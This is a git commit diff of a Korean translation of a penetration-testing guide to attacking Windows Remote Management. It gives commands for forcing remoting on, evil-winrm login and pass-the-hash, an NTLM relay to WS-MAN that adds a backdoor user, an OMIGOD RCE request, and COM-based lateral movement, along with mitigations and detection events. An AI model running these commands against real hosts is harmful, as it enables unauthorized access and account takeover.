Translated ['src/network-services-pentesting/5985-5986-pentesting-winrm.

This commit is contained in:
Translator 2025-08-13 16:15:53 +00:00
parent e7321d773f
commit 5c461cee26

View File

@ -15,7 +15,7 @@
### **WinRM 세션 시작하기**
PowerShell을 WinRM에 맞게 구성하기 위해 Microsoft의 `Enable-PSRemoting` cmdlet이 사용되며, 이는 컴퓨터가 원격 PowerShell 명령을 수락하도록 설정합니다. 권한이 상승된 PowerShell 접근을 통해 다음 명령을 실행하여 이 기능을 활성화하고 어떤 호스트든 신뢰할 수 있는 것으로 지정할 수 있습니다:
PowerShell을 WinRM에 맞게 구성하기 위해 Microsoft의 `Enable-PSRemoting` cmdlet이 사용되며, 이는 컴퓨터가 원격 PowerShell 명령을 수락하도록 설정합니다. 권한이 상승된 PowerShell 액세스를 통해 다음 명령을 실행하여 이 기능을 활성화하고 모든 호스트를 신뢰할 수 있도록 지정할 수 있습니다:
```bash
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
@ -26,11 +26,11 @@ Set-Item wsman:\localhost\client\trustedhosts *
```bash
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
이 방법은 원격으로 WinRM을 설정할 수 있게 하여, 멀리서 Windows 머신을 관리하는 유연성을 향상시킵니다.
이 방법은 원격으로 WinRM을 설정할 수 있게 하여, 원거리에서 Windows 머신을 관리하는 유연성을 향상시킵니다.
### 구성 확인하기
공격 머신의 설정을 확인하기 위해 `Test-WSMan` 명령을 사용하여 대상이 WinRM이 제대로 구성되었는지 확인합니다. 이 명령을 실행하면 프로토콜 버전 및 wsmid에 대한 세부정보를 수신하게 되며, 이는 성공적인 구성을 나타냅니다. 아래는 구성된 대상과 구성되지 않은 대상의 예상 출력 예시입니다:
공격 머신의 설정을 확인하기 위해 `Test-WSMan` 명령을 사용하여 대상이 WinRM이 제대로 구성되었는지 확인합니다. 이 명령을 실행하면 프로토콜 버전 및 wsmid에 대한 세부 정보를 수신하게 되며, 이는 성공적인 구성을 나타냅니다. 아래는 구성된 대상과 구성되지 않은 대상의 예상 출력 예시입니다:
- **정상적으로** 구성된 대상의 경우, 출력은 다음과 유사하게 나타납니다:
```bash
@ -40,7 +40,7 @@ Test-WSMan <target-ip>
![](<../images/image (582).png>)
- 반대로, WinRM이 구성되지 않은 대상을 위해서는 그러한 세부 정보가 없으며, 적절한 WinRM 설정이 없음을 강조합니다.
- 반대로, WinRM이 구성되지 않은 대상의 경우, 이러한 세부 정보가 없으며, 적절한 WinRM 설정이 없음을 강조합니다.
![](<../images/image (458).png>)
@ -52,7 +52,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al
```
![](<../images/image (151).png>)
현재 PS 콘솔의 **명령을** _**Invoke-Command**_를 통해 **실행할 수 있습니다**. 로컬에 _**enumeration**_이라는 함수가 있고 이를 **원격 컴퓨터에서 실행하고 싶다면**, 다음과 같이 할 수 있습니다:
현재 PS 콘솔의 **명령을 실행할 수 있습니다** _**Invoke-Command**_를 통해. 로컬에 _**enumeration**_이라는 함수가 있고 이를 **원격 컴퓨터에서 실행하고 싶다면**, 다음과 같이 할 수 있습니다:
```bash
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
@ -89,11 +89,11 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
### **WinRM 강제 열기**
PS Remoting과 WinRM을 사용하려고 하지만 컴퓨터가 구성되어 있지 않은 경우, 다음을 사용하여 활성화할 수 있습니다:
PS 원격 관리 및 WinRM을 사용하려고 하지만 컴퓨터가 구성되지 않은 경우, 다음을 통해 활성화할 수 있습니다:
```bash
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
### 세션 저장 및 복원
### Saving and Restoring sessions
**작동하지 않습니다** 만약 **언어**가 원격 컴퓨터에서 **제한되어** 있다면.
```bash
@ -115,7 +115,7 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
다음 오류가 발생하면:
`enter-pssession : 원격 서버 10.10.10.175에 연결하는 데 실패했습니다. 오류 메시지: WinRM 클라이언트가 요청을 처리할 수 없습니다. 인증 방식이 Kerberos와 다르거나 클라이언트 컴퓨터가 도메인에 가입되어 있지 않은 경우 HTTPS 전송을 사용해야 하거나 대상 컴퓨터를 TrustedHosts 구성 설정에 추가해야 합니다. TrustedHosts를 구성하려면 winrm.cmd를 사용하십시오. TrustedHosts 목록에 있는 컴퓨터는 인증되지 않을 수 있습니다. 다음 명령을 실행하여 이에 대한 추가 정보를 얻을 수 있습니다: winrm help config. 자세한 내용은 about_Remote_Troubleshooting 도움말 주제를 참조하십시오.`
`enter-pssession : 원격 서버 10.10.10.175에 연결하는 데 실패했습니다. 오류 메시지: WinRM 클라이언트가 요청을 처리할 수 없습니다. 인증 방식이 Kerberos와 다르거나 클라이언트 컴퓨터가 도메인에 가입되지 않은 경우 HTTPS 전송을 사용해야 하거나 대상 컴퓨터를 TrustedHosts 구성 설정에 추가해야 합니다. TrustedHosts를 구성하려면 winrm.cmd를 사용하십시오. TrustedHosts 목록에 있는 컴퓨터는 인증되지 않을 수 있습니다. 다음 명령을 실행하여 이에 대한 자세한 정보를 얻을 수 있습니다: winrm help config. 자세한 내용은 about_Remote_Troubleshooting 도움말 주제를 참조하십시오.`
클라이언트에서 시도하십시오 (정보는 [여기](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)에서 확인하십시오):
```ruby
@ -146,9 +146,9 @@ gem install evil-winrm
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
**evil-winrm**를 사용하여 **IPv6 주소**에 연결하려면 _**/etc/hosts**_ 파일에 **도메인 이름**을 IPv6 주소로 설정하여 해당 도메인에 연결합니다.
악성 winrm을 사용하여 **IPv6 주소**에 연결하려면 _**/etc/hosts**_ 내에 **도메인 이름**을 IPv6 주소로 설정하는 항목을 만들고 해당 도메인에 연결합니다.
### evil-winrm으로 해시 전달하기
### 해시를 악성 winrm으로 전달하기
```ruby
evil-winrm -u <username> -H <Hash> -i <IP>
```
@ -220,7 +220,72 @@ end
- `port:5985 Microsoft-HTTPAPI`
## References
---
## Recent Vulnerabilities & Offensive Techniques (2021-2025)
### NTLM relay directly to WinRM (WS-MAN)
Impacket 0.11 (2023년 5월)부터 `ntlmrelayx.py`는 캡처된 NTLM 자격 증명을 **WS-MAN**/WinRM 리스너로 직접 릴레이할 수 있습니다. 호스트가 여전히 **암호화되지 않은 HTTP (5985)**에서 수신 대기하는 경우, 공격자는 *mitm6* (또는 *Responder*)를 결합하여 인증을 강제하고 SYSTEM 수준의 코드 실행을 얻을 수 있습니다:
```bash
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
--command "net user pwned P@ssw0rd! /add"
```
Mitigations
* HTTP 리스너 비활성화 `Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false`
* HTTPS 강제 적용 및 최근 Windows 버전에서 인증을 위한 확장 보호(EPA) 활성화.
### OMIGOD CVE-2021-38647 (Azure OMI)
Azure Linux 에이전트는 **Open Management Infrastructure (OMI)** 서비스를 사용하여 **5985/5986** 포트에서 WinRM/WS-MAN API를 노출합니다. 논리 오류로 인해 **루트로서 인증되지 않은 RCE**가 가능했습니다:
```text
curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml />'
```
OMI (버전 ≥ 1.6.8-1)를 패치하거나 제거하고 해당 포트를 인터넷에서 차단하십시오.
### WSMan.Automation COM 남용을 통한 측면 이동
WinRM은 `WSMan.Automation` COM 객체를 통해 PowerShell 없이 구동될 수 있습니다 제한된 언어 모드의 시스템에서 유용합니다. *SharpWSManWinRM*과 같은 도구가 이 기술을 래핑합니다:
```powershell
$ws = New-Object -ComObject 'WSMan.Automation'
$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null)
$cmdId = $session.Command('cmd.exe',@('/c','whoami'))
$session.Signal($cmdId,0)
```
실행 체인 (`svchost → wmiprvse → cmd.exe`)은 고전 PS-Remoting과 동일합니다.
---
## 도구 업데이트
* **Evil-WinRM v3.x (2024)** 이제 **Kerberos** (`-k` / `--spn`) 및 **인증서 기반** 인증 (`--cert-pem`/`--key-pem`), 세션 로깅 (`-L`) 및 원격 경로 완성을 비활성화하는 기능 (`-N`)을 지원합니다.
```bash
RHOST=10.0.0.25 evil-winrm -i $RHOST -u j.doe -k --spn HTTP/$RHOST
```
* **Python `pypsrp` 0.9 (2024)**는 CredSSP 및 Kerberos를 포함하여 Linux에서 WinRM 및 PS-Remoting을 제공합니다:
```python
from psrp.client import Client
c = Client('srv01', username='ACME\\j.doe', ssl=True)
print(c.execute_cmd('ipconfig /all').std_out.decode())
```
* **탐지** **Microsoft-Windows-WinRM/Operational** 로그를 모니터링합니다:
* 이벤트 91 / 163 셸 생성
* 이벤트 182 인증 실패
* 보안 로그의 이벤트 4262는 소스 IP를 기록합니다 (2022년 7월 CUs 추가).
이들을 중앙에서 수집하고 익명 또는 외부 IP에 대해 경고합니다.
---
## Shodan
- `port:5985 Microsoft-HTTPAPI`
## 참조
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
- [https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/)
- [https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure)
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)